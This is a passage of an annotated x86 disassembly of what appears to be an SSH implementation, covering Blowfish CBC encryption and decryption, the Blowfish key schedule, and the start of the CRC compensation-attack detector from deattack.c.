0805fbd6  09 c1                    or     %eax,%ecx
0805fbd8  0f b6 82 4f 10 00 00     movzbl 0x104f(%edx),%eax  ;4175 'x4f x10 x0 x0' "O"
0805fbdf  c1 e0 18                 shl    $0x18,%eax
0805fbe2  31 f6                    xor    %esi,%esi
0805fbe4  09 c1                    or     %eax,%ecx
0805fbe6  3b 75 14                 cmp    0x14(%ebp),%esi
0805fbe9  0f 83 c2 00 00 00        jae    0805fcb1 <Unknown0298+0x19d>  ;194 'xc2 x0 x0 x0' ""
0805fbef  8d 45 e8                 lea    0xffffffe8(%ebp),%eax
0805fbf2  89 45 e4                 mov    %eax,0xffffffe4(%ebp)
0805fbf5  8d 76 00                 lea    0x0(%esi),%esi
0805fbf8  0f b6 44 3e 01           movzbl 0x1(%esi,%edi,1),%eax
0805fbfd  0f b6 14 3e              movzbl (%esi,%edi,1),%edx
0805fc01  c1 e0 08                 shl    $0x8,%eax
0805fc04  09 c2                    or     %eax,%edx
0805fc06  0f b6 44 3e 02           movzbl 0x2(%esi,%edi,1),%eax
0805fc0b  c1 e0 10                 shl    $0x10,%eax
0805fc0e  09 c2                    or     %eax,%edx
0805fc10  0f b6 44 3e 03           movzbl 0x3(%esi,%edi,1),%eax
0805fc15  c1 e0 18                 shl    $0x18,%eax
0805fc18  09 c2                    or     %eax,%edx
0805fc1a  0f b6 44 3e 05           movzbl 0x5(%esi,%edi,1),%eax
0805fc1f  31 d3                    xor    %edx,%ebx
0805fc21  c1 e0 08                 shl    $0x8,%eax
0805fc24  0f b6 54 3e 04           movzbl 0x4(%esi,%edi,1),%edx
0805fc29  09 c2                    or     %eax,%edx
0805fc2b  0f b6 44 3e 06           movzbl 0x6(%esi,%edi,1),%eax
0805fc30  c1 e0 10                 shl    $0x10,%eax
0805fc33  83 ec 0c                 sub    $0xc,%esp
0805fc36  09 c2                    or     %eax,%edx
0805fc38  0f b6 44 3e 07           movzbl 0x7(%esi,%edi,1),%eax
0805fc3d  c1 e0 18                 shl    $0x18,%eax
0805fc40  ff 75 08                 pushl  0x8(%ebp)
0805fc43  6a 01                    push   $0x1
0805fc45  09 c2                    or     %eax,%edx
0805fc47  31 d1                    xor    %edx,%ecx
0805fc49  ff 75 e4                 pushl  0xffffffe4(%ebp)
0805fc4c  51                       push   %ecx
0805fc4d  53                       push   %ebx
0805fc4e  e8 c1 fe ff ff           call   0805fb14 <Unknown0298>
0805fc53  83 c4 20                 add    $0x20,%esp
0805fc56  8d 55 e8                 lea    0xffffffe8(%ebp),%edx
0805fc59  8b 5d e8                 mov    0xffffffe8(%ebp),%ebx
0805fc5c  8b 4d ec                 mov    0xffffffec(%ebp),%ecx
0805fc5f  89 55 e4                 mov    %edx,0xffffffe4(%ebp)
0805fc62  8b 45 0c                 mov    0xc(%ebp),%eax
0805fc65  88 1c 06                 mov    %bl,(%esi,%eax,1)
0805fc68  89 d8                    mov    %ebx,%eax
0805fc6a  8b 55 0c                 mov    0xc(%ebp),%edx
0805fc6d  c1 e8 08                 shr    $0x8,%eax
```

```
0805fc70   88 44 16 01          mov    %al,0x1(%esi,%edx,1)
0805fc74   89 d8                mov    %ebx,%eax
0805fc76   c1 e8 10             shr    $0x10,%eax
0805fc79   88 44 16 02          mov    %al,0x2(%esi,%edx,1)
0805fc7d   89 d8                mov    %ebx,%eax
0805fc7f   c1 e8 18             shr    $0x18,%eax
0805fc82   88 44 16 03          mov    %al,0x3(%esi,%edx,1)
0805fc86   88 4c 16 04          mov    %cl,0x4(%esi,%edx,1)
0805fc8a   89 c8                mov    %ecx,%eax
0805fc8c   c1 e8 08             shr    $0x8,%eax
0805fc8f   88 44 16 05          mov    %al,0x5(%esi,%edx,1)
0805fc93   89 c8                mov    %ecx,%eax
0805fc95   c1 e8 10             shr    $0x10,%eax
0805fc98   88 44 16 06          mov    %al,0x6(%esi,%edx,1)
0805fc9c   89 c8                mov    %ecx,%eax
0805fc9e   c1 e8 18             shr    $0x18,%eax
0805fca1   88 44 16 07          mov    %al,0x7(%esi,%edx,1)
0805fca5   83 c6 08             add    $0x8,%esi
0805fca8   3b 75 14             cmp    0x14(%ebp),%esi
0805fcab   0f 82 47 ff ff ff    jb     0805fbf8 <Unknown0298+0xe4>  ;-185 'x47 xff xff xff' "G"
0805fcb1   8b 45 08             mov    0x8(%ebp),%eax
0805fcb4   88 98 48 10 00 00    mov    %bl,0x1048(%eax)  ;4168 'x48 x10 x0 x0' "H"
0805fcba   c1 eb 08             shr    $0x8,%ebx
0805fcbd   88 98 49 10 00 00    mov    %bl,0x1049(%eax)  ;4169 'x49 x10 x0 x0' "I"
0805fcc3   c1 eb 08             shr    $0x8,%ebx
0805fcc6   88 98 4a 10 00 00    mov    %bl,0x104a(%eax)  ;4170 'x4a x10 x0 x0' "J"
0805fccc   c1 eb 08             shr    $0x8,%ebx
0805fccf   88 98 4b 10 00 00    mov    %bl,0x104b(%eax)  ;4171 'x4b x10 x0 x0' "K"
0805fcd5   88 88 4c 10 00 00    mov    %cl,0x104c(%eax)  ;4172 'x4c x10 x0 x0' "L"
0805fcdb   c1 e9 08             shr    $0x8,%ecx
0805fcde   88 88 4d 10 00 00    mov    %cl,0x104d(%eax)  ;4173 'x4d x10 x0 x0' "M"
0805fce4   c1 e9 08             shr    $0x8,%ecx
0805fce7   88 88 4e 10 00 00    mov    %cl,0x104e(%eax)  ;4174 'x4e x10 x0 x0' "N"
0805fced   c1 e9 08             shr    $0x8,%ecx
0805fcf0   88 88 4f 10 00 00    mov    %cl,0x104f(%eax)  ;4175 'x4f x10 x0 x0' "O"
0805fcf6   8d 65 f4             lea    0xfffffff4(%ebp),%esp
0805fcf9   5b                   pop    %ebx
0805fcfa   5e                   pop    %esi
0805fcfb   5f                   pop    %edi
0805fcfc   5d                   pop    %ebp
0805fcfd   c3                   ret
0805fcfe   89 f6                mov    %esi,%esi


    ;
    ; >--------------------<  Subroutine # 299 >--------------------<
    ;
0805fd00 <Unknown0299>:
0805fd00   55                   push   %ebp
0805fd01   89 e5                mov    %esp,%ebp
0805fd03   57                   push   %edi
0805fd04   56                   push   %esi
0805fd05   53                   push   %ebx
0805fd06   83 ec 1c             sub    $0x1c,%esp
0805fd09   f7 45 14 07 00 00 00 testl  $0x7,0x14(%ebp)  ;7 'x7 x0 x0 x0' ""
0805fd10   74 1a                je     0805fd2c <Unknown0299+0x2c>
0805fd12   68 05 56 07 08       push   $0x8075605  ;[in .rodata] 2003790946 'x62 x6c x6f x77'
                                                    "blowfish_cbc_decrypt"
0805fd17   68 9f 01 00 00       push   $0x19f  ;415 'x9f x1 x0 x0' ""
0805fd1c   68 eb 55 07 08       push   $0x80755eb  ;[in .rodata] 2003790946 'x62 x6c x6f x77' "blowfish.c"
0805fd21   68 f6 55 07 08       push   $0x80755f6  ;[in .rodata] 1852140584 'x28 x6c x65 x6e' "(len & 7)
                                                    == 0"
0805fd26   e8 a1 a0 fe ff       call   08049dcc <__assert_fail>
0805fd2b   90                   nop
0805fd2c   8b 45 08             mov    0x8(%ebp),%eax
0805fd2f   0f b6 98 48 10 00 00 movzbl 0x1048(%eax),%ebx  ;4168 'x48 x10 x0 x0' "H"
0805fd36   0f b6 80 49 10 00 00 movzbl 0x1049(%eax),%eax  ;4169 'x49 x10 x0 x0' "I"
0805fd3d   8b 55 08             mov    0x8(%ebp),%edx
0805fd40   c1 e0 08             shl    $0x8,%eax
0805fd43   09 c3                or     %eax,%ebx
0805fd45   0f b6 82 4a 10 00 00 movzbl 0x104a(%edx),%eax  ;4170 'x4a x10 x0 x0' "J"
0805fd4c   c1 e0 10             shl    $0x10,%eax
0805fd4f   09 c3                or     %eax,%ebx
0805fd51   0f b6 82 4b 10 00 00 movzbl 0x104b(%edx),%eax  ;4171 'x4b x10 x0 x0' "K"
0805fd58   c1 e0 18             shl    $0x18,%eax
0805fd5b   09 c3                or     %eax,%ebx
0805fd5d   0f b6 82 4d 10 00 00 movzbl 0x104d(%edx),%eax  ;4173 'x4d x10 x0 x0' "M"
0805fd64   c1 e0 08             shl    $0x8,%eax
0805fd67   0f b6 ba 4c 10 00 00 movzbl 0x104c(%edx),%edi  ;4172 'x4c x10 x0 x0' "L"
0805fd6e   09 c7                or     %eax,%edi
0805fd70   0f b6 82 4e 10 00 00 movzbl 0x104e(%edx),%eax  ;4174 'x4e x10 x0 x0' "N"
0805fd77   c1 e0 10             shl    $0x10,%eax
0805fd7a   09 c7                or     %eax,%edi
0805fd7c   0f b6 82 4f 10 00 00 movzbl 0x104f(%edx),%eax  ;4175 'x4f x10 x0 x0' "O"
```

```
0805fd83  c1 e0 18              shl    $0x18,%eax
0805fd86  c7 45 e0 00 00 00 00  movl   $0x0,0xffffffe0(%ebp)   ;0 'x0 x0 x0 x0' ""
0805fd8d  8b 4d 14              mov    0x14(%ebp),%ecx
0805fd90  09 c7                 or     %eax,%edi
0805fd92  39 4d e0              cmp    %ecx,0xffffffe0(%ebp)
0805fd95  0f 83 d5 00 00 00     jae    0805fe70 <Unknown0299+0x170>  ;213 'xd5 x0 x0 x0' ""
0805fd9b  8d 75 e8              lea    0xffffffe8(%ebp),%esi
0805fd9e  89 75 dc              mov    %esi,0xffffffdc(%ebp)
0805fda1  8d 76 00              lea    0x0(%esi),%esi
0805fda4  8b 55 e0              mov    0xffffffe0(%ebp),%edx
0805fda7  8b 45 10              mov    0x10(%ebp),%eax
0805fdaa  0f b6 04 02           movzbl (%edx,%eax,1),%eax
0805fdae  89 45 e4              mov    %eax,0xffffffe4(%ebp)
0805fdb1  8b 4d 10              mov    0x10(%ebp),%ecx
0805fdb4  0f b6 44 0a 01        movzbl 0x1(%edx,%ecx,1),%eax
0805fdb9  c1 e0 08              shl    $0x8,%eax
0805fdbc  09 45 e4              or     %eax,0xffffffe4(%ebp)
0805fdbf  0f b6 44 0a 02        movzbl 0x2(%edx,%ecx,1),%eax
0805fdc4  c1 e0 10              shl    $0x10,%eax
0805fdc7  09 45 e4              or     %eax,0xffffffe4(%ebp)
0805fdca  0f b6 44 0a 03        movzbl 0x3(%edx,%ecx,1),%eax
0805fdcf  c1 e0 18              shl    $0x18,%eax
0805fdd2  09 45 e4              or     %eax,0xffffffe4(%ebp)
0805fdd5  0f b6 44 0a 05        movzbl 0x5(%edx,%ecx,1),%eax
0805fdda  0f b6 74 0a 04        movzbl 0x4(%edx,%ecx,1),%esi
0805fddf  c1 e0 08              shl    $0x8,%eax
0805fde2  09 c6                 or     %eax,%esi
0805fde4  0f b6 44 0a 06        movzbl 0x6(%edx,%ecx,1),%eax
0805fde9  83 ec 0c              sub    $0xc,%esp
0805fdec  c1 e0 10              shl    $0x10,%eax
0805fdef  09 c6                 or     %eax,%esi
0805fdf1  0f b6 44 0a 07        movzbl 0x7(%edx,%ecx,1),%eax
0805fdf6  ff 75 08              pushl  0x8(%ebp)
0805fdf9  6a 00                 push   $0x0
0805fdfb  c1 e0 18              shl    $0x18,%eax
0805fdfe  ff 75 dc              pushl  0xffffffdc(%ebp)
0805fe01  09 c6                 or     %eax,%esi
0805fe03  56                    push   %esi
0805fe04  ff 75 e4              pushl  0xffffffe4(%ebp)
0805fe07  e8 08 fd ff ff        call   0805fb14 <Unknown0298>
0805fe0c  83 c4 20              add    $0x20,%esp
0805fe0f  8d 45 e8              lea    0xffffffe8(%ebp),%eax
0805fe12  33 5d e8              xor    0xffffffe8(%ebp),%ebx
0805fe15  33 7d ec              xor    0xffffffec(%ebp),%edi
0805fe18  89 45 dc              mov    %eax,0xffffffdc(%ebp)
0805fe1b  8b 55 0c              mov    0xc(%ebp),%edx
0805fe1e  8b 4d e0              mov    0xffffffe0(%ebp),%ecx
0805fe21  88 1c 11              mov    %bl,(%ecx,%edx,1)
0805fe24  c1 eb 08              shr    $0x8,%ebx
0805fe27  88 5c 11 01           mov    %bl,0x1(%ecx,%edx,1)
0805fe2b  c1 eb 08              shr    $0x8,%ebx
0805fe2e  88 5c 11 02           mov    %bl,0x2(%ecx,%edx,1)
0805fe32  c1 eb 08              shr    $0x8,%ebx
0805fe35  88 5c 11 03           mov    %bl,0x3(%ecx,%edx,1)
0805fe39  89 f8                 mov    %edi,%eax
0805fe3b  c1 ef 08              shr    $0x8,%edi
0805fe3e  88 44 11 04           mov    %al,0x4(%ecx,%edx,1)
0805fe42  89 f8                 mov    %edi,%eax
0805fe44  c1 ef 08              shr    $0x8,%edi
0805fe47  88 44 11 05           mov    %al,0x5(%ecx,%edx,1)
0805fe4b  89 f8                 mov    %edi,%eax
0805fe4d  c1 ef 08              shr    $0x8,%edi
0805fe50  88 44 11 06           mov    %al,0x6(%ecx,%edx,1)
0805fe54  89 f8                 mov    %edi,%eax
0805fe56  88 44 11 07           mov    %al,0x7(%ecx,%edx,1)
0805fe5a  8b 5d e4              mov    0xffffffe4(%ebp),%ebx
0805fe5d  83 c1 08              add    $0x8,%ecx
0805fe60  8b 55 14              mov    0x14(%ebp),%edx
0805fe63  39 d1                 cmp    %edx,%ecx
0805fe65  89 f7                 mov    %esi,%edi
0805fe67  89 4d e0              mov    %ecx,0xffffffe0(%ebp)
0805fe6a  0f 82 34 ff ff ff     jb     0805fda4 <Unknown0299+0xa4>  ;-204 'x34 xff xff xff' "4"
0805fe70  8b 4d 08              mov    0x8(%ebp),%ecx
0805fe73  88 99 48 10 00 00     mov    %bl,0x1048(%ecx)   ;4168 'x48 x10 x0 x0' "H"
0805fe79  c1 eb 08              shr    $0x8,%ebx
0805fe7c  88 99 49 10 00 00     mov    %bl,0x1049(%ecx)   ;4169 'x49 x10 x0 x0' "I"
0805fe82  c1 eb 08              shr    $0x8,%ebx
0805fe85  88 99 4a 10 00 00     mov    %bl,0x104a(%ecx)   ;4170 'x4a x10 x0 x0' "J"
0805fe8b  c1 eb 08              shr    $0x8,%ebx
0805fe8e  88 99 4b 10 00 00     mov    %bl,0x104b(%ecx)   ;4171 'x4b x10 x0 x0' "K"
0805fe94  89 f8                 mov    %edi,%eax
0805fe96  c1 ef 08              shr    $0x8,%edi
0805fe99  89 fa                 mov    %edi,%edx
0805fe9b  c1 ef 08              shr    $0x8,%edi
```

```
0805fe9e   88 81 4c 10 00 00      mov     %al,0x104c(%ecx)    ;4172 'x4c x10 x0 x0' "L"
0805fea4   89 f8                  mov     %edi,%eax
0805fea6   c1 ef 08               shr     $0x8,%edi
0805fea9   88 91 4d 10 00 00      mov     %dl,0x104d(%ecx)    ;4173 'x4d x10 x0 x0' "M"
0805feaf   89 fa                  mov     %edi,%edx
0805feb1   88 81 4e 10 00 00      mov     %al,0x104e(%ecx)    ;4174 'x4e x10 x0 x0' "N"
0805feb7   88 91 4f 10 00 00      mov     %dl,0x104f(%ecx)    ;4175 'x4f x10 x0 x0' "O"
0805febd   8d 65 f4               lea     0xfffffff4(%ebp),%esp
0805fec0   5b                     pop     %ebx
0805fec1   5e                     pop     %esi
0805fec2   5f                     pop     %edi
0805fec3   5d                     pop     %ebp
0805fec4   c3                     ret
0805fec5   8d 76 00               lea     0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 300 >--------------------<
   ;
0805fec8 <Unknown0300>:
0805fec8   55                     push    %ebp
0805fec9   89 e5                  mov     %esp,%ebp
0805fecb   57                     push    %edi
0805fecc   56                     push    %esi
0805fecd   53                     push    %ebx
0805fece   83 ec 2c               sub     $0x2c,%esp
0805fed1   8b 55 08               mov     0x8(%ebp),%edx
0805fed4   8b 45 10               mov     0x10(%ebp),%eax
0805fed7   81 c2 00 10 00 00      add     $0x1000,%edx    ;4096 'x0 x10 x0 x0' ""
0805fedd   66 89 45 e6            mov     %ax,0xffffffe6(%ebp)
0805fee1   89 55 dc               mov     %edx,0xffffffdc(%ebp)
0805fee4   31 ff                  xor     %edi,%edi
0805fee6   31 db                  xor     %ebx,%ebx
0805fee8   be 03 00 00 00         mov     $0x3,%esi    ;3 'x3 x0 x0 x0' ""
0805feed   8d 76 00               lea     0x0(%esi),%esi
0805fef0   0f bf c3               movswl  %bx,%eax
0805fef3   8b 14 85 20 83 07 08   mov     0x8078320(,%eax,4),%edx   ;[in .data] -785314906 'xa6 xb x31 xd1' ""
0805fefa   8b 4d 08               mov     0x8(%ebp),%ecx
0805fefd   43                     inc     %ebx
0805fefe   66 4e                  dec     %si
0805ff00   89 14 81               mov     %edx,(%ecx,%eax,4)
0805ff03   79 eb                  jns     0805fef0 <Unknown0300+0x28>
0805ff05   47                     inc     %edi
0805ff06   66 81 ff ff 00         cmp     $0xff,%di
0805ff0b   7e db                  jle     0805fee8 <Unknown0300+0x20>
0805ff0d   31 ff                  xor     %edi,%edi
0805ff0f   b9 c0 82 07 08         mov     $0x80782c0,%ecx    ;[in .data] 608135816 'x88 x6a x3f x24' ""
0805ff14   0f bf d7               movswl  %di,%edx
0805ff17   47                     inc     %edi
0805ff18   8b 04 91               mov     (%ecx,%edx,4),%eax
0805ff1b   8b 5d dc               mov     0xffffffdc(%ebp),%ebx
0805ff1e   66 83 ff 11            cmp     $0x11,%di
0805ff22   89 04 93               mov     %eax,(%ebx,%edx,4)
0805ff25   7e ed                  jle     0805ff14 <Unknown0300+0x4c>
0805ff27   31 f6                  xor     %esi,%esi
0805ff29   31 ff                  xor     %edi,%edi
0805ff2b   0f bf 5d e6            movswl  0xffffffe6(%ebp),%ebx
0805ff2f   90                     nop
0805ff30   0f bf f6               movswl  %si,%esi
0805ff33   8b 45 0c               mov     0xc(%ebp),%eax
0805ff36   0f b6 0c 06            movzbl  (%esi,%eax,1),%ecx
0805ff3a   8d 46 01               lea     0x1(%esi),%eax
0805ff3d   99                     cltd
0805ff3e   f7 fb                  idiv    %ebx
0805ff40   8b 45 0c               mov     0xc(%ebp),%eax
0805ff43   0f b6 04 02            movzbl  (%edx,%eax,1),%eax
0805ff47   c1 e0 10               shl     $0x10,%eax
0805ff4a   c1 e1 18               shl     $0x18,%ecx
0805ff4d   09 c1                  or      %eax,%ecx
0805ff4f   8d 46 02               lea     0x2(%esi),%eax
0805ff52   99                     cltd
0805ff53   f7 fb                  idiv    %ebx
0805ff55   8b 45 0c               mov     0xc(%ebp),%eax
0805ff58   0f b6 04 02            movzbl  (%edx,%eax,1),%eax
0805ff5c   c1 e0 08               shl     $0x8,%eax
0805ff5f   09 c1                  or      %eax,%ecx
0805ff61   8d 46 03               lea     0x3(%esi),%eax
0805ff64   99                     cltd
0805ff65   f7 fb                  idiv    %ebx
0805ff67   8b 45 0c               mov     0xc(%ebp),%eax
0805ff6a   0f b6 14 02            movzbl  (%edx,%eax,1),%edx
0805ff6e   09 d1                  or      %edx,%ecx
0805ff70   0f bf c7               movswl  %di,%eax
0805ff73   8b 55 dc               mov     0xffffffdc(%ebp),%edx
```

```
0805ff76  31 0c 82              xor     %ecx,(%edx,%eax,4)
0805ff79  8d 46 04              lea     0x4(%esi),%eax
0805ff7c  99                    cltd
0805ff7d  47                    inc     %edi
0805ff7e  f7 fb                 idiv    %ebx
0805ff80  66 83 ff 11           cmp     $0x11,%di
0805ff84  89 d6                 mov     %edx,%esi
0805ff86  7e a8                 jle     0805ff30 <Unknown0300+0x68>
0805ff88  8d 4d e8              lea     0xffffffe8(%ebp),%ecx
0805ff8b  c7 45 e0 00 00 00 00  movl    $0x0,0xffffffe0(%ebp)  ;0 'x0 x0 x0 x0' ""
0805ff92  c7 45 cc 00 00 00 00  movl    $0x0,0xffffffcc(%ebp)  ;0 'x0 x0 x0 x0' ""
0805ff99  31 ff                 xor     %edi,%edi
0805ff9b  89 4d d4              mov     %ecx,0xffffffd4(%ebp)
0805ff9e  89 f6                 mov     %esi,%esi
0805ffa0  ff 75 d4              pushl   0xffffffd4(%ebp)
0805ffa3  ff 75 cc              pushl   0xffffffcc(%ebp)
0805ffa6  ff 75 e0              pushl   0xffffffe0(%ebp)
0805ffa9  ff 75 08              pushl   0x8(%ebp)
0805ffac  e8 db f3 ff ff        call    0805f38c <Unknown0296>
0805ffb1  8b 45 e8              mov     0xffffffe8(%ebp),%eax
0805ffb4  8d 55 e8              lea     0xffffffe8(%ebp),%edx
0805ffb7  89 45 e0              mov     %eax,0xffffffe0(%ebp)
0805ffba  89 55 d4              mov     %edx,0xffffffd4(%ebp)
0805ffbd  8b 42 04              mov     0x4(%edx),%eax
0805ffc0  89 45 cc              mov     %eax,0xffffffcc(%ebp)
0805ffc3  8b 4d e0              mov     0xffffffe0(%ebp),%ecx
0805ffc6  0f bf c7              movswl  %di,%eax
0805ffc9  8b 55 dc              mov     0xffffffdc(%ebp),%edx
0805ffcc  89 0c 82              mov     %ecx,(%edx,%eax,4)
0805ffcf  83 c7 02              add     $0x2,%edi
0805ffd2  8b 5d cc              mov     0xffffffcc(%ebp),%ebx
0805ffd5  83 c4 10              add     $0x10,%esp
0805ffd8  66 83 ff 11           cmp     $0x11,%di
0805ffdc  89 5c 82 04           mov     %ebx,0x4(%edx,%eax,4)
0805ffe0  7e be                 jle     0805ffa0 <Unknown0300+0xd8>
0805ffe2  8d 75 e8              lea     0xffffffe8(%ebp),%esi
0805ffe5  31 ff                 xor     %edi,%edi
0805ffe7  89 75 d8              mov     %esi,0xffffffd8(%ebp)
0805ffea  89 f6                 mov     %esi,%esi
0805ffec  89 fb                 mov     %edi,%ebx
0805ffee  c1 e3 08              shl     $0x8,%ebx
0805fff1  be fe 00 00 00        mov     $0xfe,%esi   ;254 'xfe x0 x0 x0' ""
0805fff6  89 f6                 mov     %esi,%esi
0805fff8  ff 75 d4              pushl   0xffffffd4(%ebp)
0805fffb  ff 75 cc              pushl   0xffffffcc(%ebp)
0805fffe  ff 75 e0              pushl   0xffffffe0(%ebp)
08060001  ff 75 08              pushl   0x8(%ebp)
08060004  e8 83 f3 ff ff        call    0805f38c <Unknown0296>
08060009  8b 55 d8              mov     0xffffffd8(%ebp),%edx
0806000c  8b 45 e8              mov     0xffffffe8(%ebp),%eax
0806000f  89 45 e0              mov     %eax,0xffffffe0(%ebp)
08060012  89 55 d4              mov     %edx,0xffffffd4(%ebp)
08060015  8b 42 04              mov     0x4(%edx),%eax
08060018  89 45 cc              mov     %eax,0xffffffcc(%ebp)
0806001b  0f bf d3              movswl  %bx,%edx
0806001e  8b 45 e0              mov     0xffffffe0(%ebp),%eax
08060021  8b 4d 08              mov     0x8(%ebp),%ecx
08060024  89 04 91              mov     %eax,(%ecx,%edx,4)
08060027  8b 45 cc              mov     0xffffffcc(%ebp),%eax
0806002a  83 c4 10              add     $0x10,%esp
0806002d  83 c3 02              add     $0x2,%ebx
08060030  66 83 ee 02           sub     $0x2,%si
08060034  89 44 91 04           mov     %eax,0x4(%ecx,%edx,4)
08060038  79 be                 jns     0805fff8 <Unknown0300+0x130>
0806003a  47                    inc     %edi
0806003b  66 83 ff 03           cmp     $0x3,%di
0806003f  7e ab                 jle     0805ffec <Unknown0300+0x124>
08060041  8d 65 f4              lea     0xfffffff4(%ebp),%esp
08060044  5b                    pop     %ebx
08060045  5e                    pop     %esi
08060046  5f                    pop     %edi
08060047  5d                    pop     %ebp
08060048  c3                    ret
08060049  8d 76 00              lea     0x0(%esi),%esi


   ;
   ; >--------------------<  Subroutine # 301 >--------------------<
   ;
0806004c <Unknown0301>:
0806004c  55                    push    %ebp
0806004d  89 e5                 mov     %esp,%ebp
0806004f  53                    push    %ebx
08060050  83 ec 0c              sub     $0xc,%esp
```

```
08060053  8b 5d 08            mov     0x8(%ebp),%ebx
08060056  8b 45 0c            mov     0xc(%ebp),%eax
08060059  33 03               xor     (%ebx),%eax
0806005b  89 45 0c            mov     %eax,0xc(%ebp)
0806005e  6a 04               push    $0x4
08060060  8d 45 0c            lea     0xc(%ebp),%eax
08060063  50                  push    %eax
08060064  e8 6f c6 ff ff      call    0805c6d8 <Unknown0240>
08060069  89 03               mov     %eax,(%ebx)
0806006b  8b 5d fc            mov     0xfffffffc(%ebp),%ebx
0806006e  c9                  leave
0806006f  c3                  ret


    ;
    ; >---------------------<  Subroutine # 302 >---------------------<
    ;
08060070 <Unknown0302>:
08060070  55                  push    %ebp
08060071  89 e5               mov     %esp,%ebp
08060073  57                  push    %edi
08060074  56                  push    %esi
08060075  53                  push    %ebx
08060076  83 ec 0c            sub     $0xc,%esp
08060079  8b 7d 14            mov     0x14(%ebp),%edi
0806007c  85 ff               test    %edi,%edi
0806007e  c7 45 f0 00 00 00 00 movl    $0x0,0xfffffff0(%ebp)   ;0 'x0 x0 x0 x0' ""
08060085  74 30               je      080600b7 <Unknown0302+0x47>
08060087  8b 75 08            mov     0x8(%ebp),%esi
0806008a  b9 08 00 00 00      mov     $0x8,%ecx   ;8 'x8 x0 x0 x0' ""
0806008f  fc                  cld
08060090  f3 a6               repz cmpsb %es:(%edi),%ds:(%esi)
08060092  0f 97 c2            seta    %dl
08060095  0f 92 c0            setb    %al
08060098  38 c2               cmp     %al,%dl
0806009a  75 1b               jne     080600b7 <Unknown0302+0x47>
0806009c  83 ec 08            sub     $0x8,%esp
0806009f  6a 01               push    $0x1
080600a1  8d 5d f0            lea     0xfffffff0(%ebp),%ebx
080600a4  53                  push    %ebx
080600a5  e8 a2 ff ff ff      call    0806004c <Unknown0301>
080600aa  5a                  pop     %edx
080600ab  59                  pop     %ecx
080600ac  6a 00               push    $0x0
080600ae  53                  push    %ebx
080600af  e8 98 ff ff ff      call    0806004c <Unknown0301>
080600b4  83 c4 10            add     $0x10,%esp
080600b7  8b 45 0c            mov     0xc(%ebp),%eax
080600ba  89 45 ec            mov     %eax,0xffffffec(%ebp)
080600bd  03 45 10            add     0x10(%ebp),%eax
080600c0  39 45 ec            cmp     %eax,0xffffffec(%ebp)
080600c3  73 5f               jae     08060124 <Unknown0302+0xb4>
080600c5  8d 5d f0            lea     0xfffffff0(%ebp),%ebx
080600c8  89 5d e8            mov     %ebx,0xffffffe8(%ebp)
080600cb  90                  nop
080600cc  8b 75 08            mov     0x8(%ebp),%esi
080600cf  8b 7d ec            mov     0xffffffec(%ebp),%edi
080600d2  b9 08 00 00 00      mov     $0x8,%ecx   ;8 'x8 x0 x0 x0' ""
080600d7  fc                  cld
080600d8  f3 a6               repz cmpsb %es:(%edi),%ds:(%esi)
080600da  0f 97 c2            seta    %dl
080600dd  0f 92 c0            setb    %al
080600e0  38 c2               cmp     %al,%dl
080600e2  75 14               jne     080600f8 <Unknown0302+0x88>
080600e4  83 ec 08            sub     $0x8,%esp
080600e7  6a 01               push    $0x1
080600e9  ff 75 e8            pushl   0xffffffe8(%ebp)
080600ec  e8 5b ff ff ff      call    0806004c <Unknown0301>
080600f1  5f                  pop     %edi
080600f2  58                  pop     %eax
080600f3  eb 12               jmp     08060107 <Unknown0302+0x97>
080600f5  8d 76 00            lea     0x0(%esi),%esi
080600f8  83 ec 08            sub     $0x8,%esp
080600fb  6a 00               push    $0x0
080600fd  ff 75 e8            pushl   0xffffffe8(%ebp)
08060100  e8 47 ff ff ff      call    0806004c <Unknown0301>
08060105  59                  pop     %ecx
08060106  5e                  pop     %esi
08060107  6a 00               push    $0x0
08060109  53                  push    %ebx
0806010a  89 5d e8            mov     %ebx,0xffffffe8(%ebp)
0806010d  e8 3a ff ff ff      call    0806004c <Unknown0301>
08060112  83 c4 10            add     $0x10,%esp
08060115  8b 45 0c            mov     0xc(%ebp),%eax
```

```
08060118  83 45 ec 08           addl   $0x8,0xffffffec(%ebp)
0806011c  03 45 10              add    0x10(%ebp),%eax
0806011f  39 45 ec              cmp    %eax,0xffffffec(%ebp)
08060122  72 a8                 jb     080600cc <Unknown0302+0x5c>
08060124  8b 55 f0              mov    0xfffffff0(%ebp),%edx
08060127  31 c0                 xor    %eax,%eax
08060129  85 d2                 test   %edx,%edx
0806012b  0f 94 c0              sete   %al
0806012e  8d 65 f4              lea    0xfffffff4(%ebp),%esp
08060131  5b                    pop    %ebx
08060132  5e                    pop    %esi
08060133  5f                    pop    %edi
08060134  5d                    pop    %ebp
08060135  c3                    ret
08060136  89 f6                 mov    %esi,%esi


   ;
   ; >---------------------<  Subroutine # 303 >---------------------<
   ;
08060138 <Unknown0303>:
08060138  55                    push   %ebp
08060139  89 e5                 mov    %esp,%ebp
0806013b  57                    push   %edi
0806013c  56                    push   %esi
0806013d  53                    push   %ebx
0806013e  83 ec 1c              sub    $0x1c,%esp
08060141  81 7d 0c 00 00 04 00  cmpl   $0x40000,0xc(%ebp)  ;262144 'x0 x0 x4 x0' ""
08060148  76 16                 jbe    08060160 <Unknown0303+0x28>
0806014a  68 20 56 07 08        push   $0x8075620  ;[in .rodata] 1702126948 'x64 x65 x74 x65'
                                                   "detect_attack"
0806014f  6a 59                 push   $0x59
08060151  68 2e 56 07 08        push   $0x807562e  ;[in .rodata] 1952540004 'x64 x65 x61 x74' "deattack.c"
08060156  68 39 56 07 08        push   $0x8075639  ;[in .rodata] 544105836 'x6c x65 x6e x20' "len <= ((32
                                                   * 1024) * (8))"
0806015b  e8 6c 9c fe ff        call   08049dcc <__assert_fail>
08060160  f7 45 0c 07 00 00 00  testl  $0x7,0xc(%ebp)  ;7 'x7 x0 x0 x0' ""
08060167  74 17                 je     08060180 <Unknown0303+0x48>
08060169  68 20 56 07 08        push   $0x8075620  ;[in .rodata] 1702126948 'x64 x65 x74 x65'
                                                   "detect_attack"
0806016e  6a 5a                 push   $0x5a
08060170  68 2e 56 07 08        push   $0x807562e  ;[in .rodata] 1952540004 'x64 x65 x61 x74' "deattack.c"
08060175  68 54 56 07 08        push   $0x8075654  ;[in .rodata] 544105836 'x6c x65 x6e x20' "len % (8) ==
                                                   0"
0806017a  e8 4d 9c fe ff        call   08049dcc <__assert_fail>
0806017f  90                    nop
08060180  8b 45 0c              mov    0xc(%ebp),%eax
08060183  c1 e8 03              shr    $0x3,%eax
08060186  8d 04 40              lea    (%eax,%eax,2),%eax
